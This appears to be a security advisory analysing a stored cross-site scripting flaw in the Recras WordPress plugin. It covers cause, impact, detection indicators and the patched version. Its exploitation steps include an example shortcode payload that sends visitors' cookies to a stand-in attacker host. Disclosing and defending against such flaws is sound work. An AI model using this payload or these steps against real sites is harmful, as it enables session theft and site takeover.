CVE-2025-13497: 
WordPress vulnerability analysis and mitigation

CVE-2025-13497 is a Stored Cross-Site Scripting (XSS) vulnerability in the Recras WordPress plugin, affecting all versions up to and including 6.4.1. The flaw exists in the handling of the recrasname shortcode attribute due to insufficient input sanitization and output escaping. It was disclosed on January 7, 2026, by Wordfence, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is insufficient sanitization of the recrasname shortcode attribute in OnlineBooking.php (line 144), where user-supplied input is rendered without proper escaping into the page output. An authenticated attacker with at least Contributor-level access can embed a malicious shortcode containing arbitrary JavaScript into a post or page; the script executes in the browser of any user who subsequently visits that page. No user interaction beyond page access is required for the payload to trigger (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated Contributor-level attacker to persistently inject malicious JavaScript that executes in the context of any visitor's browser session. This can lead to session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or further attacks against site administrators — potentially enabling privilege escalation to full site compromise. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Wordfence, Feedly).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13497. The EPSS score is approximately 0.03%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid WordPress account with at least Contributor-level privileges, which limits the attack surface compared to unauthenticated vulnerabilities (Feedly, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Recras plugin at version 6.4.1 or earlier, using tools like WPScan or by inspecting plugin metadata in publicly accessible readme.txt files.
2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Craft malicious shortcode: Create or edit a post/page and insert a shortcode using the recrasname attribute containing a JavaScript payload, e.g., [recras recrasname="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Submit or publish the post/page. The unsanitized recrasname value is stored in the database and rendered without escaping.
5. Trigger execution: When any site visitor (including administrators) loads the injected page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to post/page editing endpoints (/wp-admin/post.php) from Contributor-level accounts containing encoded or raw <script> tags or JavaScript event handlers in shortcode parameters.
• Database: Presence of [recras recrasname="...<script>..."...] or similar XSS payloads in the wp_posts table within post content fields.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after loading pages containing Recras shortcodes, potentially indicating cookie exfiltration or redirection.
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than written to disk.

Users should update the Recras WordPress plugin to version 6.4.2 or later, which addresses the insufficient sanitization of the recrasname shortcode attribute. The fix is reflected in the plugin changeset at revision 3432851 in the WordPress plugin repository. As a temporary workaround, site administrators can restrict Contributor-level user permissions or disable the Recras plugin until the update is applied (WordPress Trac, Wordfence).